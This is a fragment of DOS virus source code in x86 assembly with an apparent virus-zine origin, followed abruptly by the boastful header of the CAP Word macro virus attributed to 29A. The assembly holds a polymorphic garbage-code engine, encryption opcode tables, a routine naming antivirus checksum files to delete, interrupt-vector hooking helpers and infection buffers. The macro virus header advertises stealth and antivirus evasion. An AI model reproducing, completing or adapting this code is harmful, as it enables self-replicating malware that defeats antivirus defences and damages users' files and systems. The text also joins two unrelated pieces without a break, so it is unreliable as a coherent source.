;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate sub reg,FFFFh ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_sub_FFFFh: mov al,83h


mov ah,byte ptr ds:[si+05h]
stosw
mov al,0FFh
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate inc reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_inc_reg: mov al,byte ptr ds:[si+06h]


stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate from 2 up to 5 garbage instructions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_garbage: push si
inc byte ptr ds:[eng_recursive]
cmp byte ptr ds:[eng_recursive],03h
jae unable_2_gen
mov ax,0003h
call rand_in_range
inc ax
mov cx,ax
loop_gen: push cx
mov ax,(offset end_generator - offset generator_table)/02h
call rand_in_range
add ax,ax
mov si,offset generator_table
add si,ax
call word ptr ds:[si]
pop cx
loop loop_gen
pop si
ret
unable_2_gen: mov byte ptr ds:[eng_recursive],00h
call gen_one_byte
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/garbage/pop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_xpushpop: call gen_one_push


call gen_garbage
call gen_one_pop
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_cond_jump: call get_rnd


and al,07h
or al,70h
stosb
push di
inc di
call gen_garbage
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/pop pairs ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_push_pop: call gen_one_push


call gen_one_pop
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_one_push: mov ax,offset end_push - offset push_table


call rand_in_range
mov si,offset push_table
jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate pop instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_one_pop: mov ax,offset end_pop - offset pop_table


call rand_in_range
mov si,offset pop_table
jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate one byte garbage ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table


call rand_in_range
mov si,offset one_byte_table
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Just store one byte from a table ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

store_byte: add si,ax


movsb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table


call rand_in_range
mov si,offset two_byte_table
call store_byte
mov ax,offset end_reg_reg - offset reg_reg_table
call rand_in_range
mov si,offset reg_reg_table
jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table


call rand_in_range
mov si,offset inm_01h_table
call store_byte
call get_rnd
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h


call rand_in_range
mov si,offset inm_02h_table
add ax,ax
add si,ax
movsw
call get_rnd
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Poly engine tables ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

gen_reg_table equ this byte


opcodes_si equ this byte
db 0BEh ; mov si,imm
db 84h ; add [si+nn],key
; rol [si+nn],01h
; inc [si+nn]
db 0ACh ; sub [si+nn],key
db 0B4h ; xor [si+nn],key
db 8Ch ; ror [si+nn],01h
; dec [si+nn]
db 0C6h ; add si,imm
db 0EEh ; sub si,imm
db 46h ; inc si
db 0FEh ; cmp si,imm
opcodes_di equ this byte
db 0BFh ; mov di,imm
db 85h ; add [di+nn],key
; rol [di+nn],01h
; inc [di+nn]
db 0ADh ; sub [di+nn],key
db 0B5h ; xor [di+nn],key
db 8Dh ; ror [di+nn],01h
; dec [di+nn]
db 0C7h ; add di,imm
db 0EFh ; sub di,imm
db 47h ; inc di
db 0FFh ; cmp di,imm
opcodes_bx equ this byte
db 0BBh ; mov bx,imm
db 87h ; add [bx+nn],key
; rol [bx+nn],01h
; inc [bx+nn]
db 0AFh ; sub [bx+nn],key
db 0B7h ; xor [bx+nn],key
db 8Fh ; ror [bx+nn],01h
; dec [bx+nn]
db 0C3h ; add bx,imm
db 0EBh ; sub bx,imm
db 43h ; inc bx
db 0FBh ; cmp bx,imm
opcodes_bp equ this byte
db 0BDh ; mov bp,imm
db 86h ; add [bp+nn],key
; rol [bp+nn],01h
; inc [bp+nn]
db 0AEh ; sub [bp+nn],key
db 0B6h ; xor [bp+nn],key
db 8Eh ; ror [bp+nn],01h
; dec [bp+nn]
db 0C5h ; add bp,imm
db 0EDh ; sub bp,imm
db 45h ; inc bp
db 0FDh ; cmp bp,imm
end_gen_reg equ this byte
crypt_table equ this byte
dw offset crypt_add
dw offset crypt_sub
dw offset crypt_xor
dw offset crypt_rol
dw offset crypt_ror
dw offset crypt_inc
dw offset crypt_dec
end_crypt equ this byte
inc_ptr_table equ this byte
dw offset ptr_add0002h
dw offset ptr_subFFFEh
dw offset ptr_inc_inc
dw offset ptr_inc_add
dw offset ptr_add_inc
dw offset ptr_inc_sub
dw offset ptr_sub_inc
dw offset ptr_add_add
dw offset ptr_sub_sub
dw offset ptr_add_sub
dw offset ptr_sub_add
end_inc_ptr equ this byte
opcodes_table equ this byte
dw offset opcodes_si
dw offset opcodes_di
dw offset opcodes_bx
dw offset opcodes_bp
end_opcodes equ this byte
generator_table equ this byte ; Garbage generators:
dw offset gen_one_byte ; One byte instr
dw offset gen_push_pop ; push+pop
dw offset gen_xpushpop ; push+garbage+pop
dw offset gen_reg_reg ; mov,add,sub,or...
dw offset gen_cond_jump ; cond jmp+garbage
dw offset gen_inm_01h ; Gen reg,imm
dw offset gen_inm_02h ; Gen reg,imm
end_generator equ this byte
push_table equ this byte ; Push generator
push ax
push bx
push cx
push dx
push si
push di
push bp
push sp
push cs
push ds
push es
push ss
end_push equ this byte
pop_table equ this byte ; Pop generator
pop ax
pop cx
pop dx
end_pop equ this byte
one_byte_table equ this byte ; One byte instrs
aaa
aas
cbw
clc
cld
cmc
cwd
daa
das
dec ax
dec cx
dec dx
inc ax
inc cx
inc dx
int 03h
nop
stc
std
end_one_byte equ this byte
two_byte_table equ this byte
db 8Ah ; mov reg8,reg8
db 8Bh ; mov reg16,reg16
db 02h ; add reg8,reg8
db 03h ; add reg16,reg16
db 2Ah ; sub reg8,reg8
db 2Bh ; sub reg16,reg16
db 12h ; adc reg8,reg8
db 13h ; adc reg16,reg16
db 1Ah ; sbb reg8,reg8
db 1Bh ; sbb reg16,reg16
db 32h ; xor reg8,reg8
db 33h ; xor reg16,reg16
db 22h ; and reg8,reg8
db 23h ; and reg16,reg16
db 0Ah ; or reg8,reg8
db 0Bh ; or reg16,reg16
end_two_byte equ this byte
reg_reg_table equ this byte
db 0C0h
db 0C1h
db 0C2h
db 0C3h
db 0C4h
db 0C5h
db 0C6h
db 0C7h
db 0C0h
db 0C1h
db 0C2h
db 0C3h
db 0C4h
db 0C5h
db 0C6h
db 0C7h
end_reg_reg equ this byte
inm_01h_table equ this byte
db 0B0h ; mov al,imm
db 0B4h ; mov ah,imm
db 0B2h ; mov dl,imm
db 0B6h ; mov dh,imm
db 04h ; add al,imm
db 2Ch ; sub al,imm
db 14h ; adc al,imm
db 1Ch ; sbb al,imm
db 34h ; xor al,imm
db 0Ch ; or al,01h
db 24h ; and al,imm
end_inm_01h equ this byte
inm_02h_table equ this byte
db 80h,0C4h ; add ah,1C
db 80h,0C2h ; add dl,1C
db 80h,0C6h ; add dh,1C
db 80h,0ECh ; sub ah,1C
db 80h,0EAh ; sub dl,1C
db 80h,0EEh ; sub dh,1C
db 80h,0D4h ; adc ah,1C
db 80h,0D2h ; adc dl,1C
db 80h,0D6h ; adc dh,1C
db 80h,0DCh ; sbb ah,1C
db 80h,0DAh ; sbb dl,1C
db 80h,0DEh ; sbb dh,1C
db 80h,0F4h ; xor ah,1C
db 80h,0F2h ; xor dl,1C
db 80h,0F6h ; xor dh,1C
db 80h,0CCh ; or ah,1C
db 80h,0CAh ; or dl,1C
db 80h,0CEh ; or dh,1C
db 80h,0E4h ; and ah,1C
db 80h,0E2h ; and dl,1C
db 80h,0E6h ; and dh,1C
db 83h,0E2h ; and dx,0000
db 83h,0C2h ; add dx,0000
db 83h,0CAh ; or dx,0000
db 83h,0F2h ; xor dx,0000
db 83h,0DAh ; sbb dx,0000
db 83h,0D2h ; adc dx,0000
db 83h,0EAh ; sub dx,0000
end_inm_02h equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File names to delete inside the int 21h level encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

del_this_shit01 db "ANTI-VIR.DAT",00h
del_this_shit02 db "CHKLIST.MS",00h
dd 00000000h
end_area03h equ this byte
dd 00000000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Memory allocation routine ³
;³ On entry: ³
;³ SI -> number of paragraphs to allocate ³
;³ On exit: ³
;³ DI -> allocated base address (0000h if error) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

mem_alloc: xor di,di ; Error flag


mov ax,5800h ; Get and save memory
int 21h ; allocation strategy
jnc mem_ok_1
ret
mem_ok_1: push ax
mov ax,5801h ; Set new allocation
mov bx,0080h ; strategy to first
int 21h ; fit high then low
mem_ok_2: mov ax,5802h ; Get and save UMB
int 21h ; link state
jc mem_error_1
xor ah,ah
push ax
mov ax,5803h ; UMB link state on
mov bx,0001h
int 21h
mov ah,48h ; Allocate memory
mov bx,si
int 21h
jc mem_error_2
mov di,ax
mem_error_2: mov ax,5803h ; Restore UMB
pop bx ; link state
int 21h
mem_error_1: mov ax,5801h ; Restore allocation
pop bx ; strategy
int 21h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Timer-based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_rnd: push cx
in ax,40h ; Get a random number
mov cl,al ; using the timer
xor al,ah ; port
xor ah,cl
xor ax,word ptr cs:[randomize]
mov word ptr cs:[randomize],ax
pop cx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
rand_16: push bx
call get_rnd ; Get a 16bit random
mov bl,al ; number using our
call get_rnd ; 8bit rnd generator
mov bh,al
call get_rnd
xor bl,al
call get_rnd
xor bh,al
xchg bx,ax
pop bx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a random number between 0 and AX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

rand_in_range: push bx ; Returns a random


push dx ; number between 0 and
xchg ax,bx ; the entry in AX
call get_rnd
xor dx,dx
div bx
xchg ax,dx ; Reminder in DX
pop dx
pop bx
ret
dd 00000000h
end_area02h equ this byte
dd 00000000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Return the al vector in ES:BX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Set al interrupt vector to DS:DX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

set_int: push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Save all the registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

push_all: cli
pop word ptr cs:[ret_push]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_push]
sti
ret
ret_push dw 0000h ; Caller address

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore all the registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

pop_all: cli
pop word ptr cs:[ret_pop]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_pop]
sti
ret
ret_pop dw 0000h ; Caller address
dd 00000000h
end_area01h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers (inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

old_header db 1Ch dup (00h) ; Old file header


dd 00000000h
virus_inf_end equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

dd 00000000h
use_close db 00h
use_terminate db 00h
eng_recursive db 00h
eng_loop_point dw 0000h
eng_crypt_key dw 0000h
eng_displace dw 0000h
eng_entry_point dw 0000h
eng_init_ptr dw 0000h
eng_cmp_ptr dw 0000h
eng_exit_jmp dw 0000h
randomize dw 0000h ; Seed for random numbers
file_attr dw 0000h ; Original file attribute
file_date dw 0000h ; File date
file_time dw 0000h ; ... and time
file_size dd 00000000h ; Size of file to infect
inf_header db 1Ch dup (00h) ; Infected header
exec_filename db 80h dup (00h) ; File to infect
open_filename db 80h dup (00h) ; File to infect
delete_path db 80h dup (00h) ; File to delete
dropper_name db 0Eh dup (00h) ; Dropper file name
virus_mem_end equ this byte

anti_eta ends
end entry_point
'
' ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
' WordMacro.CAP ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
' by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
' ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
' ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
'
' Hello people, well here it is. Theres nothin more to say about this babe.
' It has ranked first in several "Top 10 virus" listz as the most prevalent
' virus and has kicked several AVer's assez out there due to its suposedly
' "complex" featurez - well F-Potatoe says erm.. 8*/ - and by its ability to
' create spontaneously generated variantz from itself. It is the CAP macro
' virus and here is its full source code, bein first released in 29A#2.
'
' Most of the CAP featurez have been fully described before, includin some
' comented code fragmentz. The main diference between the followin source
' code and the original i wrote some months ago is that this code has been
' indented for better understandin, while the original version was left-jus-
' tified prior to release. At this point i think its worthless to coment
' each line in the virus code considerin it has been done in full detail be-
' fore. For that purpose i suggest to read the past articlez: "Macro virus
' tricks" and "WordMacro.CAP description" for further information. Here only
' a quick review of the CAP main featurez is given:
'
' * No "SaveAs" problem: drive, path and format work in SaveAs dialog boxez.
' * Works in all existing Word languagez. Automacroz not needed for this.
' * Works in all Word platformz: PC, MAC, POWERMAC, etc. some virusez can't.
' * Guaranted to survive even if other macro virusez are currently present.
' * Internal generation count implemented, not using any .INI to store it.
' * Full stealth implemented, either by disabling or/and deleting submenuz.
' * Infects RTF filez too, i.e. saves them as templatez as with any DOC.
' * No payload. As the guy from NesCafee who wrote the Concept virus said:
' "This is enough to prove my point" #8).
'
'
' Who TF is CAP ?
' ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
' This virus was dedicated to a well known corrupt political figure in Vene-
' zuela: Carlos Andr‚s P‚rez, better known as CAP, alias "El Gocho", former
' president of Venezuela twice, durin the late 70's and the late 80's. Seve-
' ral eventz in the social history of Venezuela were badly marked by this
' prepotent stubborn ninja turtle headed man, most notably durin the Septem-
' ber 1996 timeframe, when to the astonished sight of more than one million
' people, he was found "not guilty" for the chargez of robery and malversa-
' tion of public fundz. After the judgement, he was already planin his can-
' didature to postulate for the next presidential electionz. Grrr...
'
' All these eventz encouraged the writin of this virus in mishap of this so-
' cial human virus known as CAP. The internal stringz translate as:
'
' C.A.P: a social virus.. and now a digital one..
' "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
' Venezuela, Maracay, Dic 1996.
' P.S. Whatcha doin gochito? You'll never be Simon Bolivar.. Clown!
'
'
' Greetz
' ÄÄÄÄÄÄ
' The greetz go this time to:
'
' All the guyz from undernet and effnet #virus on IRC: keep lamerz out ;)
' Microsoft for such big holez in their office aplicationz: drunk boyz..!
'
